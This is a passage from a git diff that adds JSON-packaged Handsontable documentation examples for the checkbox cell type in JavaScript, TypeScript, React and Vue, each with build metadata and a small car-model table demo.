}\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n data: [\n { car: 'Mercedes A 160', year: 2017, available: true, comesInBlack: 'yes' },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n { car: 'Audi A4 Avant', year: 2019, available: true, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, available: false, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, available: false, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Accepted', 'Comes in black'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'available',\n type: 'checkbox',\n label: {\n position: 'after',\n property: 'car', // Read value from row object\n },\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n label: {\n position: 'before',\n value: 'In black? ',\n },\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example3.js","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example3","exampleTitle":"Checkbox labels","docPermalink":"/checkbox-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example3.ts.json new file mode 100644 index 00000000..e17416fc --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Checkbox cell type · Checkbox labels · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container!, {\n data: [\n { car: 'Mercedes A 160', year: 2017, available: true, comesInBlack: 'yes' },\n {\n car: 'Citroen C4 Coupe',\n year: 2018,\n available: false,\n comesInBlack: 'yes',\n },\n { car: 'Audi A4 Avant', year: 2019, available: true, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, available: false, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, available: false, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Accepted', 'Comes in black'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'available',\n type: 'checkbox',\n label: {\n position: 'after',\n property: 'car', // Read value from row object\n },\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n label: {\n position: 'before',\n value: 'In black? ',\n },\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example3","exampleTitle":"Checkbox labels","docPermalink":"/checkbox-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example4.js.json new file mode 100644 index 00000000..97ab3499 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example4.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Checkbox cell type · Label value as a function · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\n\nnew Handsontable(container, {\n data: [\n { car: 'Mercedes A 160', year: 2017, comesInBlack: 'yes' },\n { car: 'Citroen C4 Coupe', year: 2018, comesInBlack: 'yes' },\n { car: 'Audi A4 Avant', year: 2019, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Year', 'Comes in black'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n label: {\n position: 'after',\n value(row, column, prop, value) {\n if (value === 'yes') {\n return 'In black';\n } else {\n return 'Not in black';\n }\n },\n },\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example4.js","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example4","exampleTitle":"Label value as a function","docPermalink":"/checkbox-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example4.ts.json new file mode 100644 index 00000000..7ee50032 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__javascript__example4.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Checkbox cell type · Label value as a function · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nnew Handsontable(container, {\n data: [\n { car: 'Mercedes A 160', year: 2017, comesInBlack: 'yes' },\n { car: 'Citroen C4 Coupe', year: 2018, comesInBlack: 'yes' },\n { car: 'Audi A4 Avant', year: 2019, comesInBlack: 'no' },\n { car: 'Opel Astra', year: 2020, comesInBlack: 'yes' },\n { car: 'BMW 320i Coupe', year: 2021, comesInBlack: 'no' },\n ],\n colHeaders: ['Car model', 'Year', 'Comes in black'],\n height: 'auto',\n columns: [\n {\n data: 'car',\n },\n {\n data: 'year',\n },\n {\n data: 'comesInBlack',\n type: 'checkbox',\n checkedTemplate: 'yes',\n uncheckedTemplate: 'no',\n label: {\n position: 'after',\n value(row: number, column: number, prop: string | number, value: string) {\n if (value === 'yes') {\n return 'In black';\n } else {\n return 'Not in black';\n }\n },\n },\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/checkbox-cell-type/javascript/example4.ts","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example4","exampleTitle":"Label value as a function","docPermalink":"/checkbox-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example1.tsx.json new file mode 100644 index 00000000..3beee632 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example1.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Checkbox cell type · Standard example · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example1\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/checkbox-cell-type/react/example1.tsx","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/checkbox-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example2.tsx.json new file mode 100644 index 00000000..18dd03bd --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example2.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Checkbox cell type · Checkbox template · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/checkbox-cell-type/react/example2.tsx","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example2","exampleTitle":"Checkbox template","docPermalink":"/checkbox-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example3.tsx.json new file mode 100644 index 00000000..42da142e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Checkbox cell type · Checkbox labels · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/checkbox-cell-type/react/example3.tsx","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example3","exampleTitle":"Checkbox labels","docPermalink":"/checkbox-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example4.tsx.json new file mode 100644 index 00000000..6b5ae230 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Types ▸ Checkbox cell type · Label value as a function · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-types/checkbox-cell-type/react/example4.tsx","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example4","exampleTitle":"Label value as a function","docPermalink":"/checkbox-cell-type","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example1.vue.json new file mode 100644 index 00000000..3a433a29 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Checkbox cell type · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/checkbox-cell-type/vue/example1.vue","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/checkbox-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example2.vue.json new file mode 100644 index 00000000..d0890739 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Checkbox cell type · Checkbox template · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/checkbox-cell-type/vue/example2.vue","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example2","exampleTitle":"Checkbox template","docPermalink":"/checkbox-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example3.vue.json new file mode 100644 index 00000000..f03d00a9 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Checkbox cell type · Checkbox labels · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/checkbox-cell-type/vue/example3.vue","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example3","exampleTitle":"Checkbox labels","docPermalink":"/checkbox-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example4.vue.json new file mode 100644 index 00000000..0d9b3933 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__checkbox-cell-type__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Types ▸ Checkbox cell type · Label value as a function · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-types/checkbox-cell-type/vue/example4.vue","breadcrumb":["Cell Types","Checkbox cell type"],"guide":"guides/cell-types/checkbox-cell-type/checkbox-cell-type.md","guideTitle":"Checkbox cell type","exampleId":"example4","exampleTitle":"Label value as a function","docPermalink":"/checkbox-cell-type","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__angular__example1.ts.json new file mode 100644 index 00000000..05810350 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__cell-types__date-cell-type__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Date cell type · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n 